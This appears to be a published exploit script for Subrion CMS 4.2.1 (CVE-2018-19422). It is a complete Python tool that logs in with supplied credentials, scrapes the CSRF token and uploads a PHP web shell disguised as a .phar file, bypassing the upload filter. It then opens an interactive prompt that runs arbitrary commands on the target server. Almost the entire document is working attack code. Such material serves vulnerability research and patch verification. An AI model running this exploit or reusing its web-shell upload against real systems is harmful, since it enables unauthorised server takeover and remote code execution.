Subrion CMS 4.2.1 Shell Upload

`# Exploit Title: File Upload Bypass to RCE (Authenticated)  
# Google Dork: N/A  
# Date: 17/05/2021  
# Exploit Author: Fellipe Oliveira  
# Vendor Homepage: https://subrion.org/  
# Software Link: https://github.com/intelliants/subrion  
# Version: SubrionCMS 4.2.1  
# Tested on: Debian9, Debian 10 and Ubuntu 16.04  
# CVE : CVE-2018-19422  
# Exploit Requirements: BeautifulSoup library  
# https://github.com/intelliants/subrion/issues/801  
  
#!/usr/bin/python3  
  
import requests  
import time  
import optparse  
import random  
import string  
from bs4 import BeautifulSoup  
  
parser = optparse.OptionParser()  
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri http://target/panel")  
parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")  
parser.add_option('-p', '--passw', action="store", dest="passw", help="Password credential to login")  
  
options, args = parser.parse_args()  
  
if not options.url:  
print('[+] Specify an url target')  
print('[+] Example usage: exploit.py -u http://target-uri/panel')  
print('[+] Example help usage: exploit.py -h')  
exit()  
  
url_login = options.url  
url_upload = options.url + 'uploads/read.json'  
url_shell = options.url + 'uploads/'  
username = options.user  
password = options.passw  
  
session = requests.Session()  
  
def login():  
global csrfToken  
print('[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 \n')  
print('[+] Trying to connect to: ' + url_login)  
try:  
get_token_request = session.get(url_login)  
soup = BeautifulSoup(get_token_request.text, 'html.parser')  
csrfToken = soup.find('input',attrs = {'name':'__st'})['value']  
print('[+] Success!')  
time.sleep(1)  
  
if csrfToken:  
print(f"[+] Got CSRF token: {csrfToken}")  
print("[+] Trying to log in...")   
  
auth_url = url_login  
auth_cookies = {"loader": "loaded"}  
auth_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.1.20", "Connection": "close", "Referer": "http://192.168.1.20/panel/", "Upgrade-Insecure-Requests": "1"}  
auth_data = {"__st": csrfToken, "username": username, "password": password}  
auth = session.post(auth_url, headers=auth_headers, cookies=auth_cookies, data=auth_data)  
  
if len(auth.text) <= 7000:  
print('\n[x] Login failed... Check credentials')  
exit()  
else:  
print('[+] Login Successful!\n')  
else:  
print('[x] Failed to got CSRF token')  
exit()  
  
except requests.exceptions.ConnectionError as err:  
print('\n[x] Failed to Connect in: '+url_login+' ')  
print('[x] This host seems to be Down')  
exit()  
  
return csrfToken  
  
def name_rnd():  
global shell_name   
print('[+] Generating random name for Webshell...')  
shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))  
time.sleep(1)   
print('[+] Generated webshell name: '+shell_name+'\n')  
  
return shell_name  
  
def shell_upload():  
print('[+] Trying to Upload Webshell..')  
try:  
up_url = url_upload  
up_cookies = {"INTELLI_06c8042c3d": "15ajqmku31n5e893djc8k8g7a0", "loader": "loaded"}  
up_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------6159367931540763043609390275", "Origin": "http://192.168.1.20", "Connection": "close", "Referer": "http://192.168.1.20/panel/uploads/"}  
up_data = "-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n17978446266285\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"__st\"\r\n\r\n"+csrfToken+"\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\""+shell_name+".phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php system($_GET['cmd']); ?>\n\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1621210391\r\n-----------------------------6159367931540763043609390275--\r\n"  
session.post(up_url, headers=up_headers, cookies=up_cookies, data=up_data)  
  
except requests.exceptions.HTTPError as conn:  
print('[x] Failed to Upload Webshell in: '+url_upload+' ')  
exit()  
  
def code_exec():  
try:  
url_clean = url_shell.replace('/panel', '')  
req = session.get(url_clean + shell_name + '.phar?cmd=id')  
  
if req.status_code == 200:  
print('[+] Upload Success... Webshell path: ' + url_shell + shell_name + '.phar \n')  
while True:  
cmd = input('$ ')  
x = session.get(url_clean + shell_name + '.phar?cmd='+cmd+'')  
print(x.text)  
else:  
print('\n[x] Webshell not found... upload seems to have failed')  
except:  
print('\n[x] Failed to execute PHP code...')  
  
login()  
name_rnd()  
shell_upload()  
code_exec()  
`